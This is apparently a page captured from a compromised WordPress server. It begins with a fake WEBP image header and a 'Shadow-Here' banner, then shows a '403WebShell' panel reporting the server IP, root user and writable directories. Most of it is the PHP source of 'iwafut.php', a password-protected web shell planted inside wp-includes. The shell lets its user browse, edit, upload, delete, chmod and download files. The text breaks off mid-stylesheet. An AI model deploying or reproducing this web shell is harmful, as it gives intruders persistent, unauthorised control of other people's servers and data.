RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/westinghouse.in/wp-includes/Requests/src/Response/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/westinghouse.in/wp-includes/Requests/src/Response/iwafut.php
<?php
session_start();

// ================= CONFIGURATION =================
$APP_NAME = "IwaFut";
$VALID_PASSWORD = "IwaFut@2023"; // Changez ce mot de passe
$ROOT_DIR = realpath(__DIR__ . '/'); // Dossier racine sécurisé
$ALLOWED_ACTIONS = ['view', 'download', 'edit', 'delete', 'chmod', 'info'];
$TEXT_EDITOR_EXTENSIONS = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'conf', 'htaccess'];
$BYPASS_EXTENSION_CHECK = true; // Autoriser le téléchargement de tous les types de fichiers

// ================= FONCTIONS =================
function format_size($size) {
    $units = ['o', 'Ko', 'Mo', 'Go', 'To'];
    $i = 0;
    while ($size >= 1024 && $i < count($units) - 1) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

function get_file_perms($file) {
    $perms = fileperms($file);
    $info = '';
    
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

function get_file_owner($file) {
    if (function_exists('posix_getpwuid')) {
        $owner = posix_getpwuid(fileowner($file));
        $group = posix_getgrgid(filegroup($file));
        return $owner['name'] . ':' . $group['name'];
    }
    return fileowner($file) . ':' . filegroup($file);
}

// ================= AUTHENTIFICATION =================
if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['password'])) {
        if (password_verify($_POST['password'], password_hash($VALID_PASSWORD, PASSWORD_DEFAULT))) {
            $_SESSION['authenticated'] = true;
            $_SESSION['last_activity'] = time();
        } else {
            $login_error = "Mot de passe incorrect";
        }
    }
    
    if (!isset($_SESSION['authenticated'])) {
        // Afficher la page de connexion
        ?>
        <!DOCTYPE html>
        <html lang="fr">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title><?php echo $APP_NAME; ?> - Connexion</title>
            <style>
                body {
                    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                    background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
                    height: 100vh;
                    margin: 0;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    color: #333;
                }
                .login-container {
                    background-color: rgba(255, 255, 255, 0.9);
                    padding: 2rem;
                    border-radius: 10px;
                    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
                    width: 350px;
                    text-align: center;
                }
                .logo {
                    font-size: 2.5rem;
                    font-weight: bold;
                    margin-bottom: 1.5rem;
                    color: #1a2a6c;
                    letter-spacing: 1px;
                }
                input[type="password"] {
                    width: 100%;
                    padding: 12px;
                    margin: 10px 0;
                    border: 1px solid #ddd;
                    border-radius: 5px;
                    box-sizing: border-box;
                    font-size: 1rem;
                }
                button {
                    background-color: #1a2a6c;
                    color: white;
                    border: none;
                    padding: 12px 20px;
                    border-radius: 5px;
                    cursor: pointer;
                    font-size: 1rem;
                    width: 100%;
                    transition: background-color 0.3s;
                }
                button:hover {
                    background-color: #0f1a4b;
                }
                .error {
                    color: #b21f1f;
                    margin: 10px 0;
                }
            </style>
        </head>
        <body>
            <div class="login-container">
                <div class="logo"><?php echo $APP_NAME; ?></div>
                <?php if (isset($login_error)): ?>
                    <div class="error"><?php echo htmlspecialchars($login_error); ?></div>
                <?php endif; ?>
                <form method="POST">
                    <input type="password" name="password" placeholder="Mot de passe" required>
                    <button type="submit">Se connecter</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Vérifier l'inactivité (30 minutes)
$inactive = 1800;
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > $inactive)) {
    session_unset();
    session_destroy();
    header("Location: {$_SERVER['PHP_SELF']}");
    exit;
}
$_SESSION['last_activity'] = time();

// ================= GESTION DES FICHIERS =================
$current_dir = $ROOT_DIR;
$relative_path = '';

// Navigation
if (isset($_GET['dir'])) {
    $requested_dir = realpath($ROOT_DIR . '/' . $_GET['dir']);
    if ($requested_dir && strpos($requested_dir, $ROOT_DIR) === 0) {
        $current_dir = $requested_dir;
        $relative_path = ltrim(substr($current_dir, strlen($ROOT_DIR)), '/');
    }
}

// Actions sur les fichiers
if (isset($_GET['action']) && in_array($_GET['action'], $ALLOWED_ACTIONS) && isset($_GET['file'])) {
    $file_path = $current_dir . '/' . basename($_GET['file']);
    
    if (file_exists($file_path) && strpos(realpath($file_path), $ROOT_DIR) === 0) {
        switch ($_GET['action']) {
            case 'view':
                if (is_file($file_path)) {
                    $extension = pathinfo($file_path, PATHINFO_EXTENSION);
                    if (in_array(strtolower($extension), $TEXT_EDITOR_EXTENSIONS)) {
                        $file_content = file_get_contents($file_path);
                        $editing = isset($_GET['edit']);
                        
                        if ($editing && isset($_POST['content'])) {
                            file_put_contents($file_path, $_POST['content']);
                            header("Location: ?dir={$relative_path}&file={$_GET['file']}&action=view");
                            exit;
                        }
                        
                        // Afficher l'éditeur
                        ?>
                        <!DOCTYPE html>
                        <html lang="fr">
                        <head>
                            <meta charset="UTF-8">
                            <meta name="viewport" content="width=device-width, initial-scale=1.0">
                            <title><?php echo $APP_NAME; ?> - Éditeur</title>
                            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.css">
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/htmlmixed/htmlmixed.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/xml/xml.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/javascript/javascript.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/css/css.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/clike/clike.min.js"></script>
                            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/php/php.min.js"></script>
                            <style>
                                body {
                                    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                                    margin: 0;
                                    padding: 0;
                                    background-color: #f5f5f5;
                                }
                                .header {
                                    background: linear-gradient(135deg, #1a2a6c, #b21f1f);
                                    color: white;
                                    padding: 1rem 2rem;
                                    display: flex;
                                    justify-content: space-between;
                                    align-items: center;
                                    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                                }
                                .logo {
                                    font-size: 1.8rem;
                                    font-weight: bold;
                                    letter-spacing: 1px;
                                }
                                .back-btn {
                                    color: white;
                                    text-decoration: none;
                                    padding: 8px 15px;
                                    border-radius: 5px;
                                    background-color: rgba(255, 255, 255, 0.2);
                                    transition: background-color 0.3s;
                                }
                                .back-btn:hover {
                                    background-color: rgba(255, 255, 255, 0.3);
                                }
                                .editor-container {
                                    margin: 20px;
                                    border-radius: 8px;
                                    overflow: hidden;
                                    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                                }
                                .editor-actions {
                                    background-color: #f9f9f9;
                                    padding: 10px 15px;
                                    display: flex;
                                    justify-content: space-between;
                                    align-items: center;
                                    border-bottom: 1px solid #eee;
                                }
                                .btn {
                                    padding: 8px 15px;
                                    border-radius: 5px;
                                    background-color: #1a2a6c;
                                    color: white;
                                    border: none;
                                    cursor: pointer;
                                    text-decoration: none;
                                    font-size: 0.9rem;
                                }
                                .btn:hover {
                                    background-color: #0f1a4b;
                                }
                                .CodeMirror {
                                    height: calc(100vh - 150px) !important;
                                    border-radius: 0 0 8px 8px;
                                }
                            </style>
                        </head>
                        <body>
                            <div class="header">
                                <div class="logo"><?php echo $APP_NAME; ?></div>
                                <a href="?dir=<?php echo urlencode($relative_path); ?>" class="back-btn">Retour</a>
                            </div>
                            
                            <div class="editor-container">
                                <div class="editor-actions">
                                    <div>
                                        <strong><?php echo htmlspecialchars(basename($file_path)); ?></strong>
                                        <span style="margin-left: 10px; color: #666; font-size: 0.9em;">
                                            <?php echo format_size(filesize($file_path)); ?> | 
                                            <?php echo get_file_perms($file_path); ?> | 
                                            <?php echo date('Y-m-d H:i', filemtime($file_path)); ?>
                                        </span>
                                    </div>
                                    <?php if ($editing): ?>
                                        <button type="submit" form="editor-form" class="btn">Enregistrer</button>
                                    <?php else: ?>
                                        <a href="?dir=<?php echo urlencode($relative_path); ?>&file=<?php echo urlencode($_GET['file']); ?>&action=view&edit=1" class="btn">Éditer</a>
                                    <?php endif; ?>
                                </div>
                                
                                <?php if ($editing): ?>
                                    <form id="editor-form" method="POST">
                                        <textarea id="editor" name="content" style="display:none;"><?php echo htmlspecialchars($file_content); ?></textarea>
                                    </form>
                                <?php else: ?>
                                    <div id="editor"><?php echo htmlspecialchars($file_content); ?></div>
                                <?php endif; ?>
                            </div>
                            
                            <script>
                                <?php
                                $mode_map = [
                                    'php' => 'application/x-httpd-php',
                                    'js' => 'javascript',
                                    'css' => 'css',
                                    'html' => 'htmlmixed',
                                    'json' => 'application/json',
                                    'xml' => 'xml'
                                ];
                                $mode = 'text/plain';
                                foreach ($mode_map as $ext => $m) {
                                    if (strtolower($extension) === $ext) {
                                        $mode = $m;
                                        break;
                                    }
                                }
                                ?>
                                
                                var editor = CodeMirror.fromTextArea(document.getElementById('editor') || document.querySelector('#editor'), {
                                    lineNumbers: true,
                                    mode: "<?php echo $mode; ?>",
                                    indentUnit: 4,
                                    lineWrapping: true,
                                    readOnly: <?php echo $editing ? 'false' : 'true'; ?>,
                                    theme: "default",
                                    extraKeys: {
                                        "Ctrl-S": function(cm) {
                                            if (document.getElementById('editor-form')) {
                                                document.getElementById('editor-form').submit();
                                            }
                                        }
                                    }
                                });
                            </script>
                        </body>
                        </html>
                        <?php
                        exit;
                    } else {
                        // Forcer le téléchargement si non éditable
                        header('Content-Description: File Transfer');
                        header('Content-Type: application/octet-stream');
                        header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
                        header('Expires: 0');
                        header('Cache-Control: must-revalidate');
                        header('Pragma: public');
                        header('Content-Length: ' . filesize($file_path));
                        readfile($file_path);
                        exit;
                    }
                }
                break;
                
            case 'download':
                if (is_file($file_path)) {
                    if ($BYPASS_EXTENSION_CHECK || in_array(pathinfo($file_path, PATHINFO_EXTENSION), $TEXT_EDITOR_EXTENSIONS)) {
                        header('Content-Description: File Transfer');
                        header('Content-Type: application/octet-stream');
                        header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
                        header('Expires: 0');
                        header('Cache-Control: must-revalidate');
                        header('Pragma: public');
                        header('Content-Length: ' . filesize($file_path));
                        readfile($file_path);
                        exit;
                    }
                }
                break;
                
            case 'delete':
                if (is_dir($file_path)) {
                    @rmdir($file_path);
                } else {
                    @unlink($file_path);
                }
                header("Location: ?dir={$relative_path}");
                exit;
                
            case 'chmod':
                if (isset($_POST['mode'])) {
                    $mode = octdec($_POST['mode']);
                    @chmod($file_path, $mode);
                    header("Location: ?dir={$relative_path}&file={$_GET['file']}&action=info");
                    exit;
                }
                break;
                
            case 'info':
                // Affiché plus bas dans la page d'info
                break;
        }
    }
}

// Création de dossier
if (isset($_POST['new_folder'])) {
    $folder_name = preg_replace('/[^a-zA-Z0-9\-_]/', '', $_POST['new_folder']);
    if (!empty($folder_name)) {
        @mkdir($current_dir . '/' . $folder_name, 0755);
        header("Location: ?dir={$relative_path}");
        exit;
    }
}

// Upload de fichier
if (isset($_FILES['file_upload'])) {
    $file_name = basename($_FILES['file_upload']['name']);
    $target_path = $current_dir . '/' . $file_name;
    if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target_path)) {
        header("Location: ?dir={$relative_path}");
        exit;
    }
}

// ================= AFFICHAGE DU FILE MANAGER =================
$files = scandir($current_dir);
$files = array_diff($files, array('.', '..'));

// Info serveur
$server_info = [
    'PHP Version' => phpversion(),
    'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
    'OS' => php_uname(),
    'Disk Space' => [
        'Total' => disk_total_space($ROOT_DIR),
        'Free' => disk_free_space($ROOT_DIR),
        'Used' => disk_total_space($ROOT_DIR) - disk_free_space($ROOT_DIR)
    ]
];
?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $APP_NAME; ?> - File Manager</title>
    <style>
        :root {
            --primary-color: #1a2a6c;
            --secondary-color: #b21f1f;
            --accent-color: #fdbb2d;
            --text-color: #333;
            --light-text: #666;
            --bg-color: #f5f5f5;
            --card-bg: white;
            --border-color: #eee;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 0;
            background-color: var(--bg-color);
            color: var(--text-color);
        }
        
        .header {
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            color: white;
            padding: 1rem 2rem;
            display: flex;
            justify-content: space-between;
            align-items: center;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }
        
        .logo {
            font-size: 1.8rem;
            font-weight: bold;
            letter-spacing: 1px;
        }
        
        .logout {
            color: white;
            text-decoration: none;
            padding: 8px 15px;
            border-radius: 5px;
            background-color: rgba(255, 255, 255, 0.2);
            transition: background-color 0.3s;
        }
        
        .logout:hover {
            background-color: rgba(255, 255, 255, 0.3);
        }
        
        .container {
            padding: 2rem;
            max-width: 1400px;
            margin: 0 auto;
            display: grid;
